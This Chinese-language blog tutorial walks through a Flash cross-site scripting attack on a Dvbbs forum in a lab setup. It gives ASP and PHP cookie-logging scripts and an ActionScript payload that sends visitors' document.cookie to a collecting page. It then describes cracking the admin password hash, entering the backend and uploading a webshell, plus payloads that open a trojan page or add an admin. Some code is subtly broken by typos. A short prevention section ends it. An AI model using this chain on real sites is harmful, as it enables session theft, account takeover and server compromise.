解析Flash跨站脚本攻击

 

Flash跨站攻击是当下比较流行的跨站攻击手段,且没有很好的预防办法。在它的淫威下有多少网站倒下了,站长们对此叫苦不迭。下面我们就看看Flash跨站脚本攻击到底是如何实现的,知己知彼,然后找到应对措施。

      虚拟机部署如下测试环境:

      操作系统:windows 2003

web服务器:IIS6.0

  论坛:动网Version 7.1.0 Sp1

 工具

    Falsh 8.0

记事本

 

准备的知识:

  首先,先说明一下什么是跨站脚本攻击(CSS/XSS)!我们所说跨站脚本是指在远程WEB页面的html代码中插人的其有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为“XSS”,这是因为“CSS”一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSSXSS安全漏洞,通常指的都是跨站脚本。Flash跨站攻击是在Flash文件中插入脚本,在播放flash文件的时候脚本被触发,然后通过脚本获取用户的敏感信息或者打开具有网页木马的URL页面从而实现攻击。

一、准备

  ()准备脚本

  1ASP脚本

  第一步:构造攻击脚本

  打开记事本输入如下代码输入并保存为cookies_flash.asp:

<%

testfile=server.mappath("cookies.txt")

msg=request("msg")

set fs=server.createobject("scripting.filesystemobject")

set thisfile=fs.opentextfile(testfile,8,true,0)

thisfile.writeline("&msg$")

thisfile=close

set fs=nothing

%>

  第二步:把cookies_flash.asp上传到支持asp的空间,我们就把它复制到测试环境的论坛根目录下,URL地址为:

  http://192.168.0.5/flash/cookies_flash.asp

 

2PHP脚本

  第一步:PHP论坛和ASP论坛一样,把如下代码保存为cookies_flash.php

<?php

$info=getenv('query_srring');

if(info){

$fp=fopen('cookies.txt,'a');

fwrite($fp,$info,'/n);

fclose($fp);

}

?> 

第二步:上传cookies_flash.phpPHP论坛根目录,比如URL地址为:

 

  http://192.168.0.5/flash/cookies_flash.php

  提示:由于ASPPHPFlash脚本跨站攻击方式类似,因此我们就以比较大众的ASP论坛来演示。

      ()准备Flash

  第一步:运行Flash 8.0,创建一个影片,在第一帧中右键选择“动作”,输入如下代码:

getURL("javascript:window.open('http://192.168.0.5/flash/cookies_flash.asp?sg=$#39;+document.cookie')");

      第二步:导出影片为cookies.swf上传到论坛中,我们把它复制到测试论坛的根目录中,其URL地址为:

  http://192.168.0.5/flash/cookies.swf

  补充:插入如上代码创建的Flash文件,在网页打开是会闪,不够隐蔽。用如下代码可以解决这个问题:

  (上面的代码分两部分,第一部分是定义了PUrl,并对其的属性进行了设置,包括调用的页面以及页面的属性。第二部分是通过FLASHgetURL函数调用PUR1)

 

二、攻击演示

  1.获取信息

  第一步:打开论坛http://192.168.0.5/flash,注册一个用户flash_test,然后点击发表新帖,然后在标题中写入比较有诱惑力的话语,在正文中通过Flash标签插入刚才精心准备的FlashURL地址,即http://192.168.0.5/flash/cookies.swf

 

  第二步:接下来就是等待了,等到你的帖子点击数不再是0的时候cookies.asp目录下的cookies.txt就能看到不少用户的cookies了。我们是测试,因此用论坛默认的管理员admin登录,然后浏览刚才发的帖子,打开flash。这样管理员的相关信息由flash脚本通过cookies_flash.asp文件及其相关参数,写入了http://192.168.0.5/flash/cookies.txt文件中。

  2.信息利用

 

 

  (1)得到cookies后可以通过cookies欺骗,修改本机的有关flash_test用户的cookies信息为admin的,就可以欺骗进入论坛后台。这个就不演示了。

  (2)通过工具爆破admin管理员密码的MD5加密值x1sfv3h775WrZ845。拷贝其通过工具破解得到管理员的密码为admin888(默认的密码,我没有改。)

 

 

  提示:一定要修改论坛安装时的默认密码,而且密码一定要复杂,这样就算被Flash跨站工具获得密码的MD5值破解起来就会增加难度。

  3.进入论坛后台

  利用刚才得到的管理员密码,先在前台登录然后点击“管理”按钮输入用户名和密码成功进入后台。

 

 

  4.得到webshell

  通过后台修改上传文件的类型,或者通过备份数据,上传一个网马。

 

 

  如果服务器设置不当或者应用程序有漏洞不需要太费尽,这台服务器就可以拿下,如果是虚拟主机的话,那有多少网站都被控制。我们的渗透到此为止。

  以上的Flash跨站攻击测试只是其最常规的用法,其使用可谓博大精深,比如说将指令改为

    getURP("javascript:window.open('http://192.168.0.5/flash/wm.html')");

      打开了一个挂马的网站。

   getURP("javascript:window.open('http://www.xxx.com/addadmin.asp?username=lw')");

      提交了一个名为lw的管理员。

  总结:我们通过虚拟的环境演示了Flash跨站攻击,通过准备、获取信息、利用信息,一直到得到管理员密码,进入后台,获得webshell,直至拿下服务器,可见Flash跨站攻击的危害之大。那如何防范这样的攻击呢?

  四、预防Flash跨站攻击

  1.在你的WEB浏览器上禁用javascript脚本,具体方法,先打开你的IEinternet选项,切换到“安全”选项卡,有个“自定义”级别,选择禁用就可以了。但是好象不太可能,因为一旦禁用,很多功能就丧失了,这个方法是下策。

  2.开发者要仔细审核代码,对提交输入的数据进行有效检查,如空格,ascii码等,这个是上策。但是由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,这主要依赖于所开发程序的作用,建议过滤掉所有元字符。

  3.登录论坛,选择不保存cookies,可预防cookies欺骗。

 

 

  4.用可以屏蔽flash广告的浏览器,或者安装相关的插件。

  5.不打开带有诱惑性的帖子。

  6.管理员在后台屏蔽相关的词汇。

  7.安装微软防跨站脚本库

  下载地址:

  http://www.microsoft.com/downloads/details.aspx?FamilyID=efb9c819-53ff-4f82-bfaf-e11625130c25&DisplayLang=en

  总结:Flash跨站攻击手段多样,要有效预防是比较困难的,提高自身的安全意识才是关键。其实网络中的攻击除了技术之外,利用最多的就是使用者的疏忽大意,突破了用户这道防线,任何安全措施都失去了作用,这就是网络安全中的“木桶原理”吧。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值